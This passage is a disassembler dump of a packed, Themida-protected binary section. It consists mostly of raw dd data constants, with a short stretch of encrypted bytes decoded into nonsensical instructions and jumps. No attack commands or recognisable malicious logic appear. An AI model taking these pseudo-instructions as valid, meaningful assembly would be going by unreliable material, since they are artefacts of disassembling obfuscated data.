70E5AA36h, 0C97F0015h dd 0C5AC12CFh, 1716381Ah, 1840F37Ah, 63603749h, 2AD300B5h dd 0AFAE5982h, 0C873EE9Dh, 0FCE24200h, 538B3385h, 8C3D016Fh dd 4D3A3896h, 0F39440C6h, 2B1EED48h, 0A70001EEh, 1676BD14h dd 0FC6D007Ah, 0A309B540h, 0C061ECA2h, 0F4E6A170h, 0C4609854h dd 670B59h, 5105CFE5h, 4AA895B8h, 1F3F2A00h, 3686F7A9h dd 0C1A8D99Fh, 0B88F092Fh, 0A897BAD0h, 0A47B0092h, 2EEEF5CEh dd 0CB4230B4h, 0A7799660h, 0CC15C22Bh, 0E1188000h, 3E785E52h dd 58C97DB8h, 83D23907h, 0DF05509Dh, 96C82Ah, 0F7CA5300h dd 13B7E02h, 26B951A4h, 0FA67EBD4h, 904050A4h, 5501B04Ch dd 15EF5C03h, 0C0EA2BA0h, 0E725F5h, 0C636C710h, 67C4713Dh dd 93A9C124h, 0EC06FE00h, 739803Fh, 0AC59F3FAh, 0FFAF00BCh dd 75018932h, 42D99DE6h, 3CC8B79Eh, 0DCF3008Bh, 18613978h dd 91007F9Fh, 215977A7h, 0BC5ED6Bh, 0BC222746h, 0C15EE8A0h dd 0E0319073h, 97BD58A9h, 0EE6DC8h, 0B1B3F445h, 0A638B818h dd 0F6CB8200h, 225A2165h, 56780BF3h, 1636h, 40B102EBh dd 0F1A42B1Dh, 0A8280E82h, 526C4835h, 0BBBFAB4h, 33B671EAh dd 30AC34E1h, 730FF090h, 0CF7BD320h, 801E6366h, 19C3B833h dd 6820ED7Ch, 0E53F0054h, 0EBF0DDB5h, 74F091ADh, 5150E00h dd 25C6231h, 4D5E008Fh, 0B21CF06Eh, 0E003986h, 0EE47AE73h dd 0CF78C4h, 95C2976Ah, 99A87668h, 0B756409h, 0AC1C24AEh dd 3F0BD0A9h, 0D4009BF2h, 157CD64h, 9FB71907h, 3930B1A9h dd 0F80878h, 0A4E82625h, 4D06F235h, 7CC26000h, 0E18590E5h dd 71800342h, 0F2133A4Ch, 729CEAB0h, 1E1C1858h, 0AD810A20h dd 0FAAC05DEh, 39F1F8h, 79BC4F7Fh, 88CA70A2h, 7BCF9400h dd 8CCD3418h, 777D1C5Ch, 10351943h, 14EFF0E4h, 79840300h dd 0D09D1F65h, 1A4A3F97h, 508F068Fh, 90E47FC3h, 85F8301Dh dd 0CEB355C0h, 1D1EFA7h, 0BDB8C8EBh, 0D8E668C7h, 9A00E4EEh dd 4BF0935Eh, 491AED06h, 26392822h, 0C4DF4180h, 0F19F0A74h dd 8E53E801h, 3A907C0Fh, 0DCA0A047h, 624294h, 20C35C1Bh dd 56752277h, 34534C00h, 21BB8110h, 1EFB0EE7h, 0F14008F5h dd 0D0BABE48h, 6275C000h, 2C2FD617h, 4402000Fh, 35A243ACh dd 0BD0E7CB8h, 807D5EF8h, 490594A0h, 0B4A8035Bh, 0BA8336A6h dd 24CF9ED9h, 173BB2Ch, 0DA44281Ch, 6B47E387h, 0E97D1B20h dd 9F9B0E7h, 0C1A1D9C7h, 0F5CF40A2h, 1B206CE4h, 0F8907F6h dd 62762h, 0B28098DCh, 6BAA9C00h, 0D5642D86h, 78881CA9h dd 0A328C07Dh, 0CD0D166Ch, 26FECC38h, 4E41FC51h, 31F066BDh dd 0A182606Ah, 3026B52Eh, 9729FB00h, 0FA330834h, 217A60ECh dd 0B9A0A31h, 0F911C461h, 1C2D14EAh, 82BBA81Dh, 6CCF231Bh dd 0F9ACB440h, 3401FCE0h, 13C7CDDBh, 74703157h, 0F37752h dd 0B9FE25E5h, 7D08005h, 51F8337Dh, 97BB4705h, 0A080585Ah dd 9DDBA5h, 5659BF09h, 3D2B9B86h, 909E8D24h, 40F4C900h dd 6511D37h, 0EE701C53h, 4EAA1DAh, 88F1C100h, 0A3D7B39Ch dd 27110047h, 2D341CD3h, 1816F6B5h, 4805F71Ah, 0A090E7E6h dd 2C873AB3h, 24989878h, 7F89094Dh, 0B415F800h, 0A9019ED4h dd 0B44CF60h, 81449F7Dh, 0A8F94A0h, 0B62C876Ch, 0F6404F44h dd 0F81AF953h, 571D2600h, 90F154A4h, 447A00D1h, 173E334Fh dd 0F4031829h, 0B2EF01EDh, 0FEE0029Dh, 0FC375BF8h, 30D0EC68h dd 1654A800h, 5AA255ABh, 3A400AEh, 35F17EFFh, 6C78B1E9h dd 14CC548h, 0D8258B77h, 36E963DFh, 0C12A9180h, 2433DA6Dh dd 79278C0Eh, 0F846601Eh, 0F36991BEh, 0A009863h, 4A12CBBAh dd 2E16E7CFh, 6C005CC1h, 0DCF9E170h, 0FA399822h, 48EC0040h dd 454EC7B7h, 1B0C385Ah, 0C9A41C89h, 0B4711304h, 0BCB8E074h dd 23D4A500h, 20677059h, 7B1B0055h, 0B4645D37h, 0BC60EFD3h dd 7FF1A3F1h, 0D0FD6052h, 0DA279181h, 0C14DE900h, 0F03AD16Ah dd 13E5053Bh, 9EFB59Ah, 0A02EBE9Eh, 79E0F50Ah, 0E86352h dd 30A17DDBh, 2B57186h, 835EF919h, 0B8E12197h, 0E8CEF64Eh dd 4C8AD620h, 2CCBCC46h, 0BF3AA060h, 5ABD48h, 7E91CE4Fh dd 0FB8357h, 10A6D076h, 9CFFD6D3h, 0C26AEB07h, 5720E6F5h dd 35C40D8h, 0EA8C10A7h, 96F2E531h, 5B608078h, 0DF55FB18h dd 11E6602Fh, 90BF98C6h, 619520h, 4EE82D04h, 375FB983h dd 439D6400h, 6DA36575h, 28080070h, 0E794CD7Ah, 0D100A6D4h dd 8914F7FFh, 0F692F4A5h, 9E6D0CB1h, 0B25039CBh, 8A00327Bh dd 0E23AD934h, 547767DBh, 2E58AC35h, 0BC404F07h, 0D3AAD185h dd 0F698B4FDh, 0FB293C62h, 206064F4h, 9901A6CBh, 54A2EEA3h dd 8CEC06B2h, 32B00B8h, 41EFDA5h, 1C0051AFh, 0A44E4316h dd 5F79B4h, 1BE684ECh, 704BBD0Dh, 7F8A901Eh, 5E38B000h dd 5882758Bh, 2A0F28B7h, 0F52908EFh, 0F15BB400h, 76004061h dd 0C311A606h, 0BA7359h, 634BB893h, 78FB8639h, 2B6A6F00h dd 53B75D9Ah, 0DD9200C9h, 0E4965C30h, 0F00FAC19h, 60AD630Ch dd 0AE07EE32h, 13F90945h, 95805C34h, 0B582BDD6h, 0F8FDD530h dd 2937561h, 7F112DBBh, 54D2F063h, 0A1B58500h, 0DC9E5AC3h dd 0E9340006h, 99FBE83Ah, 0C100D17Dh, 68F91059h, 79A35241h dd 4F7E09DCh, 2001B85Bh, 2E495DB7h, 37119C67h, 9824C003h dd 64F400A4h, 82819F6Dh, 92001F39h, 0C683B2DFh, 7D9F74Fh dd 0F81B0C06h, 0D1BDB0E6h, 1403DABBh, 0FE11793Fh, 958AF03Ah dd 25DC9293h, 420F4A1h, 26B3B0CCh, 53D2D800h, 9D3EE572h dd 0E3ECA0EEh, 0CD400531h, 0C0DA1DA4h, 699E5897h, 0D0417700h dd 31F443F8h, 46FA1D8Ch, 307000D3h, 9A176EB0h, 0DFDC0302h dd 609B8F5Eh, 9C27B50h, 71622AEFh, 17B2E600h, 0C8007547h dd 0A6973A73h, 0EBABE7h, 31AF0FEEh, 0A28BC3B9h, 8FA84900h dd 42747913h, 69B0F50h, 810F39F3h, 0BAD10D80h, 7B00EF32h dd 0EE6C5202h, 0ACDA0Bh dd 0C9DB99DFh, 0F9A4FE74h, 0B0A1D400h, 57B28805h, 918E00F7h dd 200FE770h, 260B4DA4h, 31F06047h, 3C18D848h, 3043DF26h dd 0B47A9780h, 58C8F91Eh, 7691F6h, 0E948F5CCh, 9652CF8Ch dd 5F04382Ch, 49280025h, 1F82931Dh, 47D9B334h, 6C88EA22h dd 0A701BD28h, 6CAF291Ah, 38627C9Fh, 0D3CAEB00h, 0B01FF440h dd 500B754Ah, 51BC0264h, 63DE6029h, 0C8970309h, 4CBA91CBh dd 1320A104h, 0E89054AFh, 240B968h, 59690D9Fh, 0E46086A6h dd 0CA2C51B0h, 32002022h, 4B5C98CEh, 0F49213h, 0B50C6C75h dd 911BB478h, 144EDB33h, 0FDB8F04Fh, 0B4F55871h, 25135400h dd 18D0CCCh, 0AB3CBD16h, 7B329428h, 0D1230003h, 304CE8AFh dd 3D14D2A7h, 2CD248C8h, 511EA42Ah, 0DF3E97CEh, 0FE6F5F40h dd 7EAE69h, 1DC234C5h, 6315026Bh, 0A89A522Ch, 0CB92BE90h dd 542F0B5Ch, 500C8964h, 3056787Ch, 37992BB3h, 30548E2Dh dd 6F0B4498h, 2ACBC5h, 65621A08h, 3BA2159Ch, 1913886Dh dd 4C1C8AF5h, 2C9D0334h, 91195C28h, 0F7EC6C4Dh, 18087FE5h dd 28836A11h, 0D77DF0BDh, 0C70BE892h, 68482155h, 1717667Ch dd 0C29F879h, 0A6DCF95Ch, 0A02579DCh, 9E9782F4h, 487A1233h dd 0F60C00D8h, 54ED894Dh, 5291F460h, 597063DBh, 93709Bh dd 1F302BECh, 9306CFE3h, 0E9A003BDh, 52B12E60h, 40E35894h dd 9B2A427Ah, 6AF098B4h, 0A0F26922h, 5C8722A4h, 8500DBF7h dd 5007EB39h, 9700D967h, 5989D783h, 1DF0482Ch, 83BD3F19h dd 23AA76A8h, 7C60A6BAh, 920975DBh, 0F882E862h, 0A59706B0h dd 116D540Ch, 2690DE00h, 1F3AF34Fh, 0EEAB0139h, 1B521451h dd 8C536B38h, 3BE35C30h, 4BF876E9h, 29B40863h, 0B37D2660h dd 21900013h, 0A69C529Ah, 68003E35h, 0E4F58459h, 439222h dd 8EC41D4Fh, 85107DBBh, 0C6ECA1F4h, 79BF503h, 0FAB09356h dd 226CC07Bh, 8AAB000Dh, 40994BAAh, 883BC47Fh, 0FC728269h dd 0C08B1764h, 98C3CECBh, 16BE00B0h, 0FE2DB54Ch, 4B038624h dd 0CC37940Ah, 9FADF8C6h, 0A65600A9h, 2082F54Ah, 0EF01548Ch dd 0DE1479FAh, 9F6098C7h, 0D4720B3Fh, 28742386h, 0C45BF100h dd 7EA7BACh, 0B1B4452Eh, 20BBA30Dh, 71E144D8h, 1C37C30Fh dd 78D5A022h, 48C23601h, 0B400A0A0h, 206376C5h, 94C03202h dd 8ECF016h, 19653F50h, 0C09BDC00h, 98C93A99h, 7FE4BC00h dd 388B84D7h, 532C0009h, 4195E3F1h, 2143A78h, 79E034C1h dd 0F7F45C01h, 8DC9E95Ah, 1F19D874h, 4087D0E0h, 94580849h dd 0B400DDE6h, 28163B33h, 7AC72702h, 0ECCF004Eh, 0ADA9176Fh dd 3E00F547h, 0BB067B1Ah, 9321D1h, 3D494A9Eh, 76628D80h dd 14F3972Eh, 0DF1C2700h, 701275A9h, 787D607Bh, 11E0DE53h dd 689C48h, 0E3162AFDh, 0EE1F3DDh, 9ACA4131h, 0C1DF39E3h dd 6C25AF98h, 324A8801h, 4FC8A056h, 913E303Ch, 58318200h dd 0BCCCA14h, 0AE83AF07h, 2CF41FB9h, 3C0C0C80h, 35FD30EFh dd 4BDEF548h, 350548h, 9CDB75E9h, 1B1F05Ch, 4913A6E4h dd 90D48C16h, 61099561h, 18A0C625h, 72C971DAh, 8C923300h dd 2AF3632Bh, 24CC79B1h, 2ABD319h, 1B16AE7Eh, 0B809D4D8h dd 1824FB7h, 3E052C78h, 35F0BDFDh, 722100BAh, 689187D7h dd 5B38EF49h, 0C29484BFh, 4A86484h, 215D3400h, 6D10A839h dd 3064AC4Ch, 0B62F40C0h, 0F372003Bh, 640E0348h, 0F5308971h dd 50C621DAh, 165C2C21h, 4CBC1F49h, 0E5483A98h, 34004372h dd 2EADDABAh, 7688E88Ch, 0FC370429h, 8740B8EAh, 0C8C1B024h dd 20002A35h, 0CC7CBBBh, 8CCE1Fh, 66768160h, 2A30A590h dd 0D581A099h, 6E8E5D10h, 544F9C42h, 80073930h, 0A777A22Dh dd 0F65F80EBh, 7D00D710h, 0F54E6EEAh, 0F4C464Dh, 4041AE35h dd 516BFFA0h, 897EA938h, 0AA6E9400h, 1AB59FD9h, 0EA4B0088h dd 3378EC84h, 0CCB84604h, 31EBDF00h, 680FBD02h, 0C0C31D18h dd 0B587C091h, 65DCAC7Fh, 0F5939F02h, 0C0F02E9Ch, 79166FCh dd 56A34FCh, 0C1405F3Bh, 76D5B797h, 94736C00h, 80DBA12Fh dd 0BF1B0F87h, 92C02895h, 0F89ADDD2h, 0F48C5F5Ah, 464F03Ah dd 35A23B8Ch, 0F3B98098h, 0B200F144h, 2DE2B4DFh, 13069F17h dd 40707303h, 32AF40D8h, 709B85Ch, 60516599h, 8F7148h dd 0F74B22D4h, 281976AEh, 0A87C901Dh, 246DED00h, 130A702Ch dd 0A662CBh, 0D6A01420h, 0E23D8003h, 0F62B0091h, 2FEA8C4Fh dd 5BB900C5h, 0F9607BBCh, 0F81DA941h, 37D604A2h, 7E9B4E0h dd 4350738Bh, 0DAD8B0F6h, 324CE0E2h, 3CB50B20h, 9C501694h dd 0E8B050C0h, 43FF5906h, 6E08E21h, 6B3C5719h, 0F080C86Ch dd 0D0E05570h, 40A5D82Ch, 936D4401h, 0D7DCBC8Eh, 4BF50090h dd 5EB1CA82h, 0EB587161h, 0D1C50030h, 0D31B7BFh, 546F167Bh dd 2158804Ch, 0A7009DB1h, 0AD87A56h, 703ED530h, 8196000Ch dd 1485A535h, 0ED2C6CDDh, 0BE015355h, 0B6CF537Ah, 39AB8085h dd 24508C45h, 320F389Ch, 790C8077h, 3D05FE5h, 238150C5h dd 0F2F85D12h, 15508611h, 0B9082AC4h, 1D9E05E1h, 0BF9A80D0h dd 82561E3Ch, 140F62E0h, 0E071A528h, 3FC87275h, 86B51D1Ch dd 2CF1E6Dh, 6F205B23h, 37485DE0h, 767151Eh, 0A3969C43h dd 0C40ECDA5h, 81F00989h, 2C5F19E4h, 0E04C006Fh, 79631B05h dd 0B897E315h, 6E2403C8h, 0C0EE747Bh, 9A40B985h, 927650h dd 0B0384F50h, 0CE978083h, 4BBDDB2Eh, 7E6A7A01h, 0E5425189h dd 0BE005D3Bh, 0A6D1F106h, 0AB7C970Eh, 0EEB280EAh, 0EA3D381h dd 806A9324h, 0A0E5F6E0h, 3B007CAEh, 0B1A92E3Fh, 9B0A19h dd 5F14CA34h, 0CDAB92E5h, 0D4609D1Dh, 0B9733C0h, 25866153h dd 0AC600739h, 0AF0001A2h, 8E592CC4h, 3CA5B530h, 0AA839474h dd 38072DEFh, 0DF4AFC80h, 0FA1AAD01h, 55D6D85h, 0E8F830h dd 18FD8BA5h, 0A9520778h, 2D50A85Dh, 7FF810AAh, 701580A4h dd 2978D3FCh, 5E003AB8h, 0EAA38385h, 90E791B7h, 160B205h dd 642AD37Dh, 60AF9CCBh, 0B40749EBh, 84777C87h, 1780058Bh dd 0FFB8B8D0h, 20AC003Ch, 6FFE0452h, 0B100F410h, 7C16FC75h dd 0D8839Dh, 0C3611C22h, 53DFD0A9h, 0BC861D28h, 0DE0CACEEh dd 108AE9E8h, 0AAD22D15h, 2CC60862h, 3B6BD100h, 88A0547Fh dd 0D72501DDh, 73FABC9Dh, 5F3881A7h, 0A2C4B45h, 369AE0EAh dd 44795819h, 2534F301h, 0D8352743h, 840FE9AFh, 0C023ED5Dh dd 419B050Bh, 8650C06Dh, 0ACEECA44h, 1FA0CD00h, 26FB7ECFh dd 0E61EE29h, 93A17430h, 0A8D8EB40h, 0E10E28D3h, 0CA8F7959h dd 0A414E3E0h, 0D6BB00A0h, 1A305622h, 0F1191F49h, 0B2D8C5DDh dd 0AC26h, 0C3D483B7h, 657439h, 0C41FC5A9h, 0F6447F4Ch dd 0A037132Fh, 0CE6D871Ch, 2830F570h, 1F400084h, 61306271h dd 5A04FB3Ah, 5675ED24h, 0CBE254D0h, 424024D8h, 4B064000h dd 0C409AA6Ch, 27B695CDh, 82A94298h, 0D46AC770h, 2C3C1C5Ch dd 89AA00C9h, 4F83E55h, 0BC524002h, 40B6C45Fh, 75FA1754h dd 20754841h, 507FD500h, 10A7F158h, 6EDC43Ah, 741A7693h dd 7C230220h, 0E81C0630h, 72E53040h, 1D4D9588h, 0C7F493BCh dd 0C0A7DD3Ah, 10138950h, 0B8A4DC04h, 0FC88F598h, 0B00105F2h dd 0C0CD75D5h, 2D6B6F4Ch, 0A65D5E0Fh, 7B64C057h, 2EECD069h dd 8C6D0Dh, 0BEE6121Fh, 0C0C0D2DBh, 0ACED9882h, 75D0051h dd 6C232667h, 0EB2DA908h, 0BDBCC897h, 0A53300BBh, 64ECE999h dd 610555FAh, 868FBA89h dd 87BC00F3h, 45F30386h, 1D673FF2h, 0EE84602Dh, 8295006Ch dd 891FCDC1h, 720024B1h, 867B9180h, 94030BB0h, 0CC00270Ch dd 96918DBh, 0BC0D172Eh, 0E528B80Eh, 0B40063CDh, 34362059h dd 106563D8h, 0E4C88433h, 0B70931DEh, 0C197EC30h, 0DC3D6A74h dd 4D408D00h, 6114397Eh, 0E8709900h, 46A60E0Dh, 9D59C00Ah dd 3536273Ah, 0FE4886F5h, 0B00EE48Ah, 39785807h, 9304EC24h dd 42892AFh, 0E00214FCh, 5893B6C6h, 729F09F8h, 4841B8DAh dd 90DCD743h, 700E8460h, 0D6291B0Fh, 0C5CC01Dh, 0A6CB8Ch dd 0BCE9B63Dh, 0FDDC6550h, 40BB398h, 9D2B8Bh, 90FBDA74h dd 0DFCA005Ch, 84A7B5F6h, 0C905327Fh, 522FD1A5h, 7516CF4h dd 0F6CE672Dh, 3AC3AB7h, 17B1E429h, 7D93D7C0h, 750D5624h dd 20371200h, 0AA35A5h, 0A8E2C7EEh, 6A16321Eh, 0E802E35Eh dd 70194A9Bh, 0C54FCCCh, 86C67D49h, 9C07D2D1h, 0CBB78BB5h dd 0E99693E0h, 81580037h, 0B4805EA3h, 5326E8E1h, 0C800B0BCh dd 932EE913h, 418CB6DCh, 38823CADh, 95480968h, 0BE6C207Ch dd 0F19626Fh, 0B4F99C77h, 56AA3B20h, 93005C3Fh, 0A3250FC5h dd 1D2705CAh, 8EB72079h, 96E08798h, 1B1D6216h, 0B30E0D75h dd 7C973A1h, 0E0435F90h, 0B56AE0D0h, 3ACD0042h, 977D5C1Ch dd 70008432h, 0AE4B0CDEh, 985326h, 752B92ACh, 47D3565Ch dd 6C932300h, 4F142D45h, 709701FDh, 4349F91h, 4806810h dd 923EE35Fh, 0F4E51F80h, 0CB790794h, 77B357C3h, 9F54E167h dd 30D9D428h, 2A480A0Eh, 0E2F0673Bh, 94B81A03h, 0D401A0A8h dd 54724943h, 0E8A4300Eh, 6F0B5C00h, 2B83D7E1h, 0B7A7FC6h dd 71F9E0E2h, 90565880h, 5EE89C61h, 40AB6524h, 7D44901h dd 19E8D073h, 92B000A4h, 0E3EBBF5Dh, 3E00EF44h, 0B3D8651Ah dd 1CB4EDh, 7B8C9573h, 6859AA60h, 0C0FC839Fh, 74F935Bh dd 0D7DE1388h, 0CC363024h, 0F2004EFFh, 8E199737h, 9D3F708h dd 0C054D1A4h, 5E754C80h, 905CCBFFh, 0E069336Ch, 1948D00Dh dd 27521344h, 0F6CCE06Fh, 0C2D06C00h, 8CC9FD92h, 9BF400BBh dd 0E7F98BEDh, 3712E448h, 0F0409C01h, 0F5ADC1ACh, 61030038h dd 15FF092Eh, 3000D722h, 1FA4D427h, 1371AAF6h, 952B8Ch dd 1549BC98h, 0A99713A5h, 0E4CD22Ch, 0E904FED4h, 84266620h dd 0D119FF46h, 0BC10EA7Ah, 0F0F3B1E1h, 9AA26168h, 7E1E2504h dd 81007C0Fh, 770C056Bh, 7AED08C0h, 580AE78Ah, 0BD00725Fh dd 0F0317624h, 7700AF81h, 0A4479FBBh, 0DDA385h, 22E30E4Fh dd 29D8548Fh, 84BE3Ch, 0A46B30D4h, 17106292h, 0F1F436h dd 7A25B89h, 99C09B9Eh, 0E920E3F8h, 0E01308Dh, 0BADB2B21h dd 0A6073A03h, 86CDC69Bh, 0A3ECA8h, 6EF02F73h, 0E522F8CCh dd 68005D7Ch, 0D3AB6081h, 167495E4h, 1FAAB819h, 2E1F80D1h dd 231C02E9h, 2B76D507h, 0E681218Bh, 69C45DE7h, 8AD00E2Ch dd 90403EA9h, 993A849Ch, 0C58D7F00h, 0BE3B755Ah, 59F00009h dd 0BDE8FDE7h, 747511A5h, 7CB4AC01h, 2F82DAEEh, 1E831D20h dd 407805C3h, 6DBDBA56h, 86006111h, 0CA73188Bh, 0F07F3968h dd 0AE830E85h, 0F7601416h, 9D91B7D5h, 416CCEA1h, 0E825EAC8h dd 0DA4841F1h, 0A899012Fh, 0C829F15h, 20FAE0h, 0F8F0905Fh dd 89EAB627h, 0ECA8FBFAh, 0DE00A0FCh, 4DEC1C30h, 0BB4964h dd 5877694Fh, 0E21F02C0h, 44FEF124h, 0D607D03h, 0ECE5FFF6h dd 4790BC01h, 37F4FCEFh, 20E8009Fh, 0E2FB3D0Fh, 973A09E5h dd 0EAE075FFh, 81B9C63Bh, 0F979FE13h, 81BEF21Dh, 0A1081B30h dd 0ED00918Bh, 98381494h, 0E1C26D3h, 88975F1h, 548471A0h dd 9F0FE110h, 80CC1B0Dh, 5E6927F9h, 47B90240h, 8FC29909h dd 0E2DBF85h db 0DEh, 0EAh word_505446 dw 226Bh ; DATA XREF: ___:off_4374B8o ; --------------------------------------------------------------------------- push 1C69E898h db 36h xchg eax, ebx and dword ptr [edi], 0AAE0A88Fh nop dec eax jnp short loc_50548D sbb al, 0ADh scasd icebp or al, 0C7h retn 0D931h ; --------------------------------------------------------------------------- dw 0A1Dh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 77h, 0, 45h dd 0D6AF57D5h, 8F1F0304h, 0ACC68C2Bh, 0CE542900h, 26C50641h dd 0C270079Ch, 70CC8187h, 0E2663834h, 6B3AB07h ; --------------------------------------------------------------------------- cld loc_50548D: ; CODE XREF: Themida_:00505457j mov [eax-6Eh], edx fxch7 st(7) sub [ecx+ebp*2], ebx or gs:[ecx+5972BDA3h], eax push ds clc lock dec edi add [ebx+1B305421h], dl insd fidiv dword ptr [edi+6936FD06h] aaa inc byte ptr [ecx+1Dh] add esp, [edi+21h] push ds pop edx cmp eax, 92E36D0Fh mov ds:0F33E614Ah, eax db 36h cmp al, 18h xlat pop ds insb adc ebx, [eax+14h] adc [ecx+2B2C0031h], cl xchg eax, ebx wait dec edi inc ebx fadd qword ptr [ecx+0] db 3Eh inc edx and bl, bh jno short loc_5054F9 retn 0F33h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dd 0FAB8A75h, 0E16A4083h, 6C8357Dh, 0B8A0A12Bh, 40F0815Ch dd 14CE4100h db 7Dh ; --------------------------------------------------------------------------- loc_5054F9: ; CODE XREF: Themida_:005054DAj lea eax, [edi-79FF74F3h] retn 9A4Eh ; --------------------------------------------------------------------------- dw 77C5h dd 711820B0h, 3F3101B8h, 0B2991CE4h, 0A002C057h, 9AC40E88h dd 8903F172h, 0E14EC773h, 0B750014Ah, 408390D3h, 66D08150h dd 5BFCC01h, 3130E0F5h, 0C2D1C074h, 0C52BBBFAh, 4052461Dh dd 71E57A80h, 18094C50h, 1124A267h, 6843A072h, 3E9C4002h dd 3D206B37h, 0C1A64309h, 0C5850241h, 0F8045952h, 10D3C7BAh dd 0E24CC71Fh, 2521D0h, 661D64Eh, 0FDE63AF1h, 223B093Ah dd 0B6900075h, 0A69BC7DBh, 25FA8938h, 39DA5906h, 776116BDh dd 50C40072h, 0C9712E7Ch, 70748EC7h, 5B216961h, 7CC0C451h dd 0EB64043Ah, 8014E60Ah, 57227F10h, 58A08A70h, 0E4827E5h dd 0EA440010h, 86FB9331h, 870C005Dh, 0CD9FD1E8h, 81606602h dd 0FD47B831h, 0EF40C301h, 187484E3h, 0BFF99400h, 0D0CB05F8h dd 0BDBE023Eh, 0C431E2F7h, 0DCD88CA3h, 0CCF431C6h, 0C3BF0414h dd 7AB200E2h, 3234387Bh, 0E6277445h, 473B068Dh, 41626D51h dd 7B2E507h, 6E90DCE2h, 0CC5B44D0h, 8217908h, 5707C824h dd 569D9700h, 711876h, 5BE843Bh, 0E2A198E5h, 0B4B852h dd 0F172B59Eh, 46B423h, 55A93132h, 0FD965EDEh, 507AA9C0h dd 3BE387CAh, 0C9601509h, 58DA1980h, 0F004A4A2h, 0D64B6064h dd 0B906105Eh, 0BF22C83Ch, 50D65383h, 83F70CD1h, 0C4CBCAC7h dd 0DD9440B5h, 0B7E84DE2h, 0E838482Ah, 0C7E3B200h, 0CC7D7534h dd 5D7601A9h, 0F04D3032h, 0C3EBF47Fh, 6641DD62h, 0E298905Bh dd 0E7C20157h, 0BF48E3ECh, 8DDCFD49h, 9138806Ch, 31847AE5h dd 0F061964Ah, 0A6EEDE87h, 0DDAFC103h, 0A316A55Eh, 8AF81024h dd 0AA428457h, 54D64D30h, 7CF00668h, 45072191h, 1030DBB5h dd 0E261AE0Fh, 0A1A06C02h, 0A471BCAFh, 748B5CB8h, 5CC17FC8h dd 9ACCB992h, 0E7620581h, 88F938Ah, 618A71A0h, 8308EC33h dd 0B4E58C76h, 0EA00C099h, 2B3F110Eh, 0B810B728h, 0E5250082h dd 0DC4EA694h, 8036FCFBh, 46F83153h, 0D64C0237h, 0B1A10633h dd 3E1079F8h, 2B00DBB4h, 147525CFh, 0CA76B8Fh, 18BCDE3Ah dd 32070BA1h, 5D685817h, 0E70FE0C1h, 60E56024h, 619549B1h dd 0FCF76D08h, 40012753h, 6664B358h, 0BC014742h, 0DB51808Fh dd 1ACE4F81h, 0A740009Eh, 5E2CFF96h, 8A406E9Bh, 0B7850A44h dd 8388E5F0h, 0AD22DEA2h, 15E9E1D8h, 8917D33h, 0C021009Ah dd 0C63B2236h, 9704130Fh, 85302E70h, 0DC084094h, 0C45AC074h dd 0A6217C4Dh, 38869170h, 1FC38392h, 0A95B06A7h, 836A3AD4h dd 30C95CA5h, 0B2599C35h, 7693EC47h, 0DA44E700h, 249702F1h dd 25CD4E75h, 0F7002866h, 3C15E6B5h, 389FED94h, 88065C8h dd 3B2477F6h, 5B05DCC7h, 6209E912h, 0F5E9842h, 600F0901h dd 84206389h, 1A69D425h, 56D3A02Ch, 817E7100h, 0E089EBF2h dd 0F7B509D6h, 0A011A37Ch, 9B0310C8h, 0EE3A04F3h, 0C270767Bh dd 0AC304B60h, 0DCE81107h, 807788D2h, 0DE07CA06h, 0E326A16Ah dd 71409C38h, 907DD24Ch, 56D84C30h, 0B2001C52h, 0D46DE84Bh dd 34B18334h, 0B2187679h, 96A90F00h, 5325713Ch, 3C5050D2h dd 60D40F6Ch, 0A41EF306h, 0B81A4044h, 1400AC56h, 1B9CFCAFh dd 2616C613h, 88F81FBEh, 250451EAh, 6E40E7EFh, 687D6705h dd 472CD700h, 46BA726h, 0FAECA09Dh, 0EC560F6Ch, 0DC005D34h dd 20D9FC80h, 0A4E51B24h, 536E840h, 57E600A4h, 83560F86h dd 0DF00153Bh, 0C0B5ADD8h, 268AC1C5h, 96D48D69h, 5C5420BCh dd 9D00D822h, 94AD177Fh, 512D69h, 0C6882F7h, 8086C048h dd 7A466492h, 4BC43402h, 0B4C7367Ch, 894CB409h, 5CB58050h dd 4D6427Eh, 0A8A7E063h, 8E0855Bh, 3CC1B5B4h, 91EDBF22h dd 0C2889E18h, 8C221D74h, 94B58236h, 0AE80B26Ch, 21482ED4h dd 547F8E29h, 12188A79h, 21B6CD01h, 0B7DA8BAh, 5AE78D0h dd 0D522459h, 799C82DAh, 5D666221h, 0A40424h, 0B3E77DA1h dd 27102436h, 0ECE30C1Dh, 665C5383h, 0A529005Eh, 91C37C71h dd 0F1071AC8h, 0D9ECCBEBh, 0E55EA430h, 0C0CDECB7h, 790B9BE9h dd 300759Eh, 0ED8134Fh, 1760A957h, 2AD4D1Ch, 0F0704840h dd 8611789Dh, 63740493h, 5E89477Eh, 30818B66h, 1319B3E5h dd 2900FD92h, 0E2E4760Eh, 1C4EA1E7h, 0B577A9h, 0DB9F9C86h dd 5329852Eh, 0E287E4EFh, 41B4A922h, 0BC207962h, 726227Ah dd 0C8811FAh, 0F5AB4044h, 13546639h, 1F00F098h, 4DFBEB08h dd 756D15BAh, 97510359h, 69B29068h, 0EC4162D2h, 42A1861h dd 51065DD6h, 277B323Bh, 74D63044h, 3800370Ch, 499E18D0h dd 493050D9h, 784974BDh, 45941424h, 0BA9C4021h, 0F0EF0CF5h dd 0B83A2626h, 9D76D200h, 9E904CDh, 1B744A94h, 0FD8D9818h dd 0F7C57D39h, 0D608899h, 148F54D3h, 0BC8AD98Bh, 0BB80BA88h dd 4C28A74Eh, 628E00E8h, 843A74CDh, 3506CE32h, 6721F4A5h dd 0CF520299h, 692A59C4h, 197984C0h, 164474EDh, 67005491h dd 58459C65h, 4D4E0349h, 1DF98315h, 2BF2297Dh, 0FA7A5300h dd 0C60B2E45h, 0C240271h, 227C0FC4h, 79C96C20h, 588E802h dd 100A4FD4h, 1E048068h, 0C9C0FADCh, 40D7730Eh, 0F4824CC0h dd 0AF005023h, 6ADCDF07h, 76458686h, 6CC8C5F9h, 46ED39DDh dd 0C306FA85h, 748C4350h, 40BB62B4h, 286EB2E0h, 0C1F42707h dd 81F34B71h, 0B82900EDh, 83C65B96h, 7D0A75CDh, 0EC55B59Ch dd 248B608h, 83F2ADFAh, 0B9E1440h, 0C7003AECh, 506DE9E0h dd 16674A0Ch, 1C11944Fh, 70E58671h, 4D010856h, 0B46EC666h dd 30BAE94Fh, 14628018h, 0D970E224h, 96633300h, 8C5DE11Ah dd 0BD5901C7h, 736BBC56h, 0A5108389h, 8F5E0DB2h, 0FAB80150h dd 8480181Ah, 4FE79009h, 3C55A90Bh, 0D45C8023h, 6BDC85h dd 